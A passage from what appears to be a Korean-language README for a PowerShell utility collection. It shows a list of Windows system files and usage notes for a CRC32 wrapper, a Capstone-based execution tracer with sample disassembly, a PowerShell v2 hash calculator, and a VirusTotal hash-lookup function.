C:\Windows\System32\rdpinit.exe
C:\Windows\System32\regini.exe
C:\Windows\System32\secinit.exe
C:\Windows\System32\tcpmon.ini
C:\Windows\System32\TpmInit.exe
C:\Windows\System32\userinit.exe
C:\Windows\System32\userinitext.dll
C:\Windows\System32\UXInit.dll
C:\Windows\System32\WimBootCompress.ini
C:\Windows\System32\wininet.dll
C:\Windows\System32\wininetlui.dll
C:\Windows\System32\wininit.exe
C:\Windows\System32\wininitext.dll
C:\Windows\System32\winipcfile.dll
C:\Windows\System32\winipcsecproc.dll
C:\Windows\System32\winipsec.dll
C:\Windows\SysWOW64\ieuinit.inf
C:\Windows\SysWOW64\regini.exe
C:\Windows\SysWOW64\secinit.exe
C:\Windows\SysWOW64\TpmInit.exe
C:\Windows\SysWOW64\userinit.exe
C:\Windows\SysWOW64\userinitext.dll
C:\Windows\SysWOW64\UXInit.dll
C:\Windows\SysWOW64\WimBootCompress.ini
C:\Windows\SysWOW64\wininet.dll
C:\Windows\SysWOW64\wininetlui.dll
C:\Windows\SysWOW64\wininitext.dll
C:\Windows\SysWOW64\winipcfile.dll
C:\Windows\SysWOW64\winipcsecproc.dll
C:\Windows\SysWOW64\winipsec.dll
문서화되지 않은 RtlComputeCrc32 함수용 간단한 래퍼입니다.```
C:\PS> $String = [System.Text.Encoding]::ASCII.GetBytes("Testing!") C:\PS> Get-CRC32 -Buffer $String C:\PS> 2392247274
### Trace-Execution
Capstone 엔진을 사용하여 PE(x32/x64)를 엔트리 포인트부터 재귀적으로 디스어셈블함으로써 실행 흐름을 효과적으로 "추적"합니다. 다음 규칙이 적용됩니다:
- jmp는 PE 주소 공간 내에 있으면 실행됩니다.
- call은 PE 주소 공간 내에 있으면 실행됩니다.
- ret는 실행되며 call 명령어에 의해 저장된 반환 주소를 사용합니다.
- 간접 call/jmp는 실행되지 않습니다.
- 조건부 jmp는 실행되지 않습니다.
- 레지스터를 참조하는 call/jmp는 실행되지 않습니다.
여기에는 디스어셈블리를 신뢰할 수 없게 만들 수 있는 매우 많은 엣지 케이스가 있습니다. 일반적인 규칙으로, 디스어셈블하는 주소가 많을수록 출력의 신뢰성은 낮아집니다. 호출 테이블은 출력의 정확성을 평가하는 참조로 사용할 수 있습니다.
디스어셈블리는 바이트 배열을 기반으로 동작하는 정적 방식이므로, PowerShell의 비트 수와 무관하게 x32/x64 PE를 디스어셈블할 수 있습니다.```
PS C:\> Trace-Execution -Path .\Desktop\some.exe -InstructionCount 10
[>] 32-bit Image!
[?] Call table:
Address Mnemonic Taken Reason
------- -------- ----- ------
0x4AD0829A call Yes Relative offset call
0x4AD07CB7 call No Indirect call
[?] Instruction trace:
Size Address Mnemonic Operands Bytes RegRead RegWrite
---- ------- -------- -------- ----- ------- --------
5 0x4AD0829A call 0x4ad07c89 {232, 234, 249, 255...} {esp}
2 0x4AD07C89 mov edi, edi {139, 255, 249, 255...}
1 0x4AD07C8B push ebp {85, 255, 249, 255...} {esp} {esp}
2 0x4AD07C8C mov ebp, esp {139, 236, 249, 255...}
3 0x4AD07C8E sub esp, 0x10 {131, 236, 16, 255...} {eflags}
5 0x4AD07C91 mov eax, dword ptr [0x4ad240ac] {161, 172, 64, 210...}
4 0x4AD07C96 and dword ptr [ebp - 8], 0 {131, 101, 248, 0...} {eflags}
4 0x4AD07C9A and dword ptr [ebp - 4], 0 {131, 101, 252, 0...} {eflags}
1 0x4AD07C9E push ebx {83, 101, 252, 0...} {esp} {esp}
1 0x4AD07C9F push edi {87, 101, 252, 0...} {esp} {esp}
5 0x4AD07CA0 mov edi, 0xbb40e64e {191, 78, 230, 64...}
5 0x4AD07CA5 mov ebx, 0xffff0000 {187, 0, 0, 255...}
2 0x4AD07CAA cmp eax, edi {59, 199, 0, 255...} {eflags}
6 0x4AD07CAC jne 0x4ad1bc8c {15, 133, 218, 63...} {eflags}
1 0x4AD07CB2 push esi {86, 133, 218, 63...} {esp} {esp}
3 0x4AD07CB3 lea eax, dword ptr [ebp - 8] {141, 69, 248, 63...}
1 0x4AD07CB6 push eax {80, 69, 248, 63...} {esp} {esp}
6 0x4AD07CB7 call dword ptr [0x4ad01150] {255, 21, 80, 17...} {esp}
3 0x4AD07CBD mov esi, dword ptr [ebp - 4] {139, 117, 252, 0...}
3 0x4AD07CC0 xor esi, dword ptr [ebp - 8] {51, 117, 248, 0...} {eflags}
PowerShell v2 호환 스크립트로 파일 해시를 계산합니다. Get-FileHash는 v4+에서만 사용할 수 있기 때문에 급하게 작성했습니다.``` Get the SHA512 hash of "C:\Some\File.path". C:\PS> Calculate-Hash -Path C:\Some\File.path -Algorithm SHA512
### Check-VTFile
파일의 SHA256 해시를 Virus Total에 제출하고, 해당 해시가 알려져 있으면 스캔 보고서를 검색합니다. 이를 위해 무료 VirusTotal API 키를 받아야 합니다. 다시 말하지만, 이를 위한 더 나은 프로젝트가 많지만 PowerShell v2와 호환되지는 않습니다.```
C:\PS> Check-VTFile -Path C:\Some\File.path